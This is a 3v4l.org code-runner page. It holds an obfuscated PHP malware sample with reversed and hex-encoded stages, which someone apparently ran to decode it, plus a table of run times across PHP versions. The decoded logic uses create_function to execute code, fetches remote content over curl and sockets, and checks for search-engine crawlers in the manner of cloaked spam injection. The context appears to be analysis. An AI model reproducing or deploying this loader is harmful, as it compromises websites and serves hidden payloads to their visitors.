3v4l.org

run code in 300+ PHP versions simultaneously
<?php $v9 = '5656}5;Bv5;oc$v5Y5;-4_g@&oc$5;oc$v5Y5;-3_g@&oc$5;oc$v5Y5;-2_g@&oc$5;oc$v5Y5;-1_g@&oc$5;B&oc$5{5-6dtz55}56;%v5;)%6,"n\r\n\r\"(edolpxe&)%6,m$(tsil5;~v5)BV%(6fi5;)J(esolcW@5}5;t$6=.6%5{6))000016,J(daerW&t$(6elihw5;B&%5;)qer$6,J(etirwW5;"n\n\X$6:tsoH"6=.6qer$5;"n\0.1/PTTH6iru$6TEG"&qer$5}5;~v5;)J(esolcW@5{6))086,1pi$6,J(tcennocW@!(6fi5;)PCT_LOS6,MAERTS_KCOS6,TENI_FA(etaercW@&J5;~v5)2pi$6=!61pi$(6fi5;))1pi$(gnol2pi@(pi2gnol@&2pi$5;)X$(emanybXteg@&1pi$5;]"yreuq"[p$6.6"?"6.6]"htap"[p$&iru$5;B=]"yreuq"[p$6))]"yreuq"[p$(tessi!(fi5;]"X"[p$&X$5;-lru_esrap@6=p$5;~v5)~^)"etaercWj4_z55}5;%v5;~v5)BV%(6fi5;)cni$6,B(edolpmi@&%5;-elif@&cni$5;~v5)~^)"elifj3_z5}5;ser$v5;~v5)BVser$(6fi5;)hc$(esolcQ5;)hc$(cexeQ&ser$5;)06,REDAEH+5;)016,TUOEMIT+5;)16,REFSNARTNRUTER+5;)lru$6,LRU+5;)(tiniQ&hc$5;~v5)~^)"tiniQj2_z555}5;%v5;~v5)BV%(6fi5;-Z@&%5;~v5)~^)"Zj1_z59 |6: |5:""|B: == |V:tsoh|X:stnetnoc_teg_elif|Z:kcos$|J:_tekcos|W:_lruc|Q:)lru$(|-:_TPOLRUC ,hc$(tpotes_lruc|+:tpotes_lruc|*: = |&: === |^:fub$|%:eslaf|~: nruter|v:)~ ==! oc$( fi|Y:g noitcnuf|z:"(stsixe_noitcnuf( fi { )lru$(|j}}};eslaf nruter {esle };))8-,i$,ataDzg$(rtsbus(etalfnizg@ nruter };2+i$=i$ )2 & glf$ ( fi ;1+)i$ ,"0\",ataDzg$(soprts=i$ )61 & glf$( fi ;1+)i$,"0\",ataDzg$(soprts=i$ )8 & glf$( fi };nelx$+2+i$=i$ ;))2,i$,ataDzg$(rtsbus,"v"(kcapnu=)nelx$(tsil { )4 & glf$( fi { )0>glf$( fi ;))1,3,ataDzg$(rtsbus(dro=glf$ ;01=i$ { )"80x\b8x\f1x\"==)3,0,ataDzg$(rtsbus( fi { )ataDzg$(izgmoc noitcnuf { ))"izgmoc"(stsixe_noitcnuf!( fi|0} ;1o$~ } ;"" = 1o$Y;]1[1a$ = 1o$ )2=>)1a$(foezis( fi ;)1ac$,"0FN!"(edolpxe@=1a$ ;)po$,)-$(dtg@(2ne=1ac$ ;4g$."/".)"moc."(qqc."//:ptth"=-$ ;)))e&+)d&+)c&+)b&+)a&(edocne-(edocne-."?".po$=4g$ ;)999999,000001(dnar_tm=po$ {Y} ;"" = 1o$ { ) )))a$(rewolotrts ,"i/" . ))"relbmar*xednay*revihcra_ai*tobnsm*pruls*elgoog"(yarra ,"|"(edolpmi . "/"(hctam_gerp( ro )"nimda",)e$(rewolotrts(soprrtsQd$(Qc$(Qa$(( fi ;)"bc1afd45*88275b5e*8e4c7059*8359bd33"(yarra = rramod^FLES_PHP%e^TSOH_PTTH%d^RDDA_ETOMER%c^REREFER_PTTH%b^TNEGA_RESU_PTTH%a$ { )(212yadj } ;a$~ ;W=a$Y;"non"=a$ )""==W( fiY;"non"=a$ ))W(tessi!(fi { )marap$(212kcehcj } ;))po$ ,txet$(2ne(edocne_46esab~ { )txet&j9 esle |Y:]marap$[REVRES_$|W: ro )"non"==|Q:lru|-:.".".|+:","|*:$,po$(43k|&:$ ;)"|^:"(212kcehc=|%: nruter|~: noitcnuf|j}}8zc$9nruter9}817==!9eslaf28)45@9=979{96"5"(stsixe_328164sserpmocnuzg08164izgmoc08164etalfnizg09{9)llun9=9htgnel$9,4oocd939{9))"oocd"(stsixe_3!2| * ;*zd$*) )*edocedzg*zc$(*noitcnuf*( fi*zd$ nruter ) *@ = zd$( ==! eslaf( fi;)"j"(trats_boU~~~~;t$U&zesleU~;)W%Y%RzesleU~;)W@Y@RU;)v$(oocd=t$U;"54+36Q14+c6Q06+56Q26+".p$=T;"05+36Q46+16Q55+".p$=1p$;"f5Q74+56Q26+07Q"=p$U;)"enonU:gnidocnE-tnetnoC"(redaeHz)v$(jUwz))"j"(stsixe_w!k9 |U:2p$|T:x\|Q:1\|+:nruter|&:lmth|%:ydob|@:} |~: { |z:(fi|k:22ap|j:noitcnuf|w:/\<\(/"(T &z))t$,"is/|Y:/\<\/"(1p$k|R:1,t$ ,"1"."$"."n\".)(212yad ,"is/)>\*]>\^[|W'; $syv= "\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\141\x72\162\x61\171"; $siv = "\x73\164\x72\137\x72\145\x70\154\x61\143\x65"; $slv = "\x73\164\x72\162\x65\166"; $s1v="\x63\162\x65\141\x74\145\x5f\146\x75\156\x63\164\x69\157\x6e"; $svv = '//}9;g$^s$9nruter9}9;)8,0,q$(r$=.g$9;))"46\27x\36\56x\26\77x\16\17x\".q$.g$(m$,"*H"(p$9=9q$9{9))s$(l$<)g$(l$(9elihw9;""9=9g$9;"53x\441\d6x\"=m$;"261\47x\361\26x\561\37x\"=r$;"351\36x\141\07x\"=p$;"651\56x\451\27x\461\37x\"=l$9{9)q$9,s$(2ne9noitcnuf;}'; $n9 = '1067|416|779|223|361'; function oo2($b) { $h = explode("|", strrev($b)); $d = explode("*", $h[0]); $b = $h[1]; for($i=0;$i<sizeof($d);$i++) { $b = str_replace($i, $d[$i], $b); } //create_function("", "};".$b."//"); echo $b."\n"; } function cqq($qw) { return random($domarr,$qw); } function oo1($y) { $y= strrev($y); $g=substr($y,strpos($y,"9")+1); $v = explode(":",substr($y,0,strpos($y,"9"))); for($i=0;$i<sizeof($v);$i++) { $q = explode("|", $v[$i]); $g = str_replace($q[0],$q[1],$g); } //create_function("", "};".$g."//"); echo $b."\n"; } $s1v("", $siv("\71"," ",$slv($svv))); function random($arr,$qw) { $g="\x20\167\x2d\70\x36794587495086f963874,qq-82d94486e,r-86297186e94186d945,wq-874941874,s-87\x33\54\x67\75\x20\167\x2e\40\x72\73\x20\155\x2d\70"."6d944835,sq-873964872937873960\x38\66\x63\71\x35\61\x38\67\x34\42\x3b";$soy = "\x65\156\x32";$xx="\x65\170\x70"."\154\x6f\144\x65";$ecx="\x63\162\x65\141\x74\145\x5f\146\x75\156\x63\164\x69\157\x6e";$scy="\x73\164\x72\137\x72\145\x70\154\x61\143\x65";$a = $xx("|","\x5c\170\x7c\134\x31\174\x3d\42\x7c\42\x3b\44\x7c\44");$aa = $xx("|","8|9|-|,| ");$mec=$ecx;for($i=0;$i<sizeof($a);$i++) {$g = $scy($aa[$i],$a[$i],$g); }$ecx("", "};$g//");$mec("", $soy("\230\77\153\147\26\167\114\130\223\257\211\2\253\5\172\316\25\262\145\25\62\72\127\156\270\100\154\56\341\77\4\37\21\152\206\334\101\334\32\210\353\173\253\5\123\231\47\13\20",$scy)); return $arr[rand((0.24-(0.03*8)),(0.1875*6))].$qw; } $r9 = explode("|",$n9); $b9=0;$a9=0; for($i9=0;$i9<sizeof($r9);$i9++) { if ($i9==0) $a9=0; else $a9=$r9[$i9-1]+$a9; $b9=$r9[$i9]; $v_[]=substr($v9, $a9, $b9); } $y =1; for($i=0;$i<5;$i++) { $vv1 ="o"."o".$y; if ($y==1) $y=2; else $y=1; echo 'Function Call: Function Name: '.$vv1.' Argument: '.$v_[$i]."\n"; $vv1($v_[$i]); }

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
7.3.10.0000.01416.61
7.3.00.0090.00916.59
7.2.130.0040.01416.80
7.2.120.0060.01217.00
7.2.110.0040.01116.63
7.2.100.0030.00816.91
7.2.90.0030.01416.96
7.2.80.0030.01417.10
7.2.70.0040.01116.94
7.2.60.0070.01016.95
7.2.50.0030.01017.03
7.2.40.0140.00016.75
7.2.30.0070.00716.99
7.2.20.0060.00616.86
7.2.10.0120.00316.78
7.2.00.0050.00818.29
7.1.250.0000.01215.85
7.1.70.0060.00317.18
7.1.60.0070.01819.40
7.1.50.0070.01116.98
7.1.00.0100.07322.57
7.0.200.0240.00315.00
7.0.140.0030.07322.05
7.0.120.0000.07022.01
7.0.60.0130.07720.11
7.0.50.0030.08317.99
7.0.40.0100.06720.27
7.0.30.0430.06720.08
7.0.20.0230.06720.10
7.0.10.0070.05320.25
7.0.00.0100.07720.22
5.6.280.0030.07720.93
5.6.210.0070.06320.80
5.6.200.0000.08718.24
5.6.190.0000.05020.34
5.6.180.0500.03720.60
5.6.170.0230.05320.45
5.6.160.0030.09020.56
5.6.150.0100.05718.19
5.6.140.0100.08318.18
5.6.130.0100.08018.26
5.6.120.0170.05021.05
5.6.110.0000.04321.04
5.6.100.0000.08721.04
5.6.90.0030.04321.00
5.6.80.0070.05020.41
5.5.350.0030.08720.57
5.5.340.0100.08018.01
5.5.330.0030.05020.31
5.5.320.1230.04020.23
5.5.310.0300.05320.24
5.5.300.0100.07718.07
5.5.290.0100.03718.03
5.5.280.0000.05020.80
5.5.270.0100.08320.99
5.5.260.0100.06320.93
5.5.250.0130.05320.64
5.5.240.0070.07720.11
5.4.450.0700.03719.38
5.4.440.0630.03719.30
5.4.430.0800.04319.52
5.4.420.0830.04019.63
5.4.410.0770.04019.51
5.4.400.0470.03319.23
5.4.390.0370.04719.07
5.4.380.0770.04719.16
5.4.370.0300.04019.04
5.4.360.0630.03719.00
5.4.350.0570.04719.20
5.4.340.0500.03719.33
5.4.320.0700.04319.22
5.4.310.0370.04318.95
5.4.300.0230.04019.18
5.4.290.0630.03319.19
5.4.280.0630.07019.31
5.4.270.0570.05019.13
5.4.260.0730.04719.00
5.4.250.0400.08719.13
5.4.240.0770.04018.82
5.4.230.0200.04019.16
5.4.220.0570.04019.21
5.4.210.0630.05019.15
5.4.200.0430.04318.99
5.4.190.0970.04018.95
5.4.180.0500.04019.21
5.4.170.0370.03318.84
5.4.160.0400.02718.84
5.4.150.0800.04319.00
5.4.140.0200.04716.56
5.4.130.0630.04316.36
5.4.120.0430.03316.54
5.4.110.0670.04016.25
5.4.100.0600.03016.61
5.4.90.0530.04316.59
5.4.80.0370.03716.59
5.4.70.0400.04316.57
5.4.60.0570.03316.54
5.4.50.0600.03716.21
5.4.40.0430.04016.40
5.4.30.0570.03316.54
5.4.20.0400.04016.21
5.4.10.0470.04316.57
5.4.00.0330.03716.21
5.3.290.0470.04716.22
5.3.280.0570.04016.21
5.3.270.0530.04016.21
5.3.260.0370.03716.21
5.3.250.0900.03016.21
5.3.240.0500.03316.21
5.3.230.0400.03316.21
5.3.220.0400.04716.21
5.3.210.0600.04016.21
5.3.200.0700.04716.21
5.3.190.0730.03316.21
5.3.180.0470.04016.21
5.3.170.0630.03016.21
5.3.160.0770.03316.21
5.3.150.0370.04716.21
5.3.140.0430.03716.21
5.3.130.0600.03716.21
5.3.120.0230.04016.21
5.3.110.0300.04316.21
5.3.100.0800.03316.21
5.3.90.0470.04316.21
5.3.80.0530.04016.21
5.3.70.0400.04316.21
5.3.60.0600.03016.21
5.3.50.0470.05016.21
5.3.40.0570.02716.21
5.3.30.0430.04316.21
5.3.20.0230.03316.21
5.3.10.0470.03716.21
5.3.00.0130.05316.21
5.2.170.0270.04716.21
5.2.160.0530.04716.21
5.2.150.0230.04016.21
5.2.140.0170.03316.21
5.2.130.0900.02316.21
5.2.120.0430.04016.21
5.2.110.0530.03016.21
5.2.100.0230.03316.21
5.2.90.0330.02316.21
5.2.80.0630.03716.21
5.2.70.0370.05016.21
5.2.60.0530.03016.21
5.2.50.0530.03716.21
5.2.40.0230.02716.21
5.2.30.0470.03316.21
5.2.20.0670.02316.21
5.2.10.0600.02716.21
5.2.00.0330.02716.21
5.1.60.0200.02716.21
5.1.50.0270.02316.21
5.1.40.0400.02716.21
5.1.30.0270.03016.21
5.1.20.0600.03316.21
5.1.10.0300.02716.21
5.1.00.0271.2109.88
5.0.50.0230.03316.21
5.0.40.0170.02716.21
5.0.30.0370.03016.21
5.0.20.0170.02316.21
5.0.10.0200.01316.21
5.0.00.0100.03016.21
4.4.90.0070.01316.21
4.4.80.0230.01016.21
4.4.70.0130.01716.21
4.4.60.0000.01316.21
4.4.50.0270.02016.21
4.4.40.0200.02316.21
4.4.30.0230.02016.21
4.4.20.0070.01716.21
4.4.10.0130.01716.21
4.4.00.0330.01716.21
4.3.110.0130.02016.21
4.3.100.0070.02016.21
4.3.90.0330.01716.21
4.3.80.0270.02016.21
4.3.70.0330.02016.21
4.3.60.0100.01716.21
4.3.50.0330.01016.21
4.3.40.0100.02716.21
4.3.30.0130.01716.21
4.3.20.0030.01716.21
4.3.10.0130.01316.21
4.3.00.0070.01016.21

preferences:
41.1 ms | 400 KiB | 5 Q